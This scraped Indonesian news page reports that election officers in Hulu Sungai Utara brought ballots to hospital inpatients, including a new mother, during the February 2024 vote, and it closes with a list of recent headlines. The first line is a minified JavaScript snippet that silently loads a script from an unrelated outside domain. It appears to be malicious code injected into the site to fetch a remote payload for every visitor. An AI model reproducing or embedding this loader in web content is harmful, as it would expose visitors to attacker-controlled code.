(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Dirawat Pasca Melahirkan, Petugas KPPS Jemput Bola ke RSUD Pambalah Batung


KANALKALIMANTAN.COM, AMUNTAI – Kelompok Penyelenggara Pemungutan Suara (KPPS) mendatangi pemilih yang menjalani rawat inap di rumah sakit lantaran tidak bisa datang ke Tempat Pemungutan Suara (TPS).

Hal itu dilakukan sejumlah petugas KPPS di Kabupaten Hulu Sungai Utara (HSU) jemput bola ke pemilih yang menjalani rawat inap di RSUD Pambalah Batung Amuntai.

Arbainah, salah seorang petugas KPPS Desa Pakacangan Kecamatan Amuntai Utara mengatakan, ada salah satu warga yang termasuk dalam Daftar Pemilih Tetap (DPT) namun tidak bisa datang ke TPS. Oleh karena itu, didampingi Satlimnas dan Pengawas Pemilu pihaknya berupaya mendatangi langsung warga tersebut.

“Karena yang kita datangi orangnya baru melahirkan, operasi katanya,” ungkapnya kepada Kanalkalimantan.com, Rabu (14/2/2024).

Baca juga: Warga Binaan Lapas Amuntai Gunakan Hak Pilih

Pasien yang rawat inap di RSUD Pambalah Batung Amuntai saat didatangi sejumlah Petugas KPPS. Foto: dew

Baca juga: Nyoblos di TPS 10 Desa Kota Raja, Ini Kata Sekda HSU

Sementara itu, Purnomo salah seorang keluarga pasien berterimakasih kepada petugas KPPS yang bersedia mendatangi langsung mereka yang tidak bisa datang ke TPS.

“Ini bagus, artinya tersalur saja aspirasi masyarakat melalui penggunakan hak pilihannya, mencoblos dengan keyakinan,” ungkap warga Desa Kota Raja ini.

Diketahui, Komisi Pemilihan Umum (KPU) HSU memberikan kepastian seluruh warga yang sudah memiliki hak politinya serta tidak dalam dicabut, mendapat perlakuan sama, dalam memberikan hak suara pada Pemilu 2024.

Untuk itu, guna memastikan hak suara seluruh warga menggunakan hak pilihnya, tidak hanya dilakukan di Lembaga Pemasyarakatan (Lapas), namun juga pasien dan penunggu pasien yang sedang menjalani perawatan di rumah sakit.

Adapun pelayanan penggunaan hak pilih bagi pasien sendiri dilaksanakan mulai pukul 12.00 waktu setempat sampai dengan selesai.

Didampingi Satlimnas, Pengawas Pemilu dan saksi, dalam prosesnya petugas KPPS membawa surat suara ke rumah sakit dengan posisi dibungkus plastik beserta alat coblos. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

31 menit ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

14 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

14 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

15 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

15 jam ago

This website uses cookies.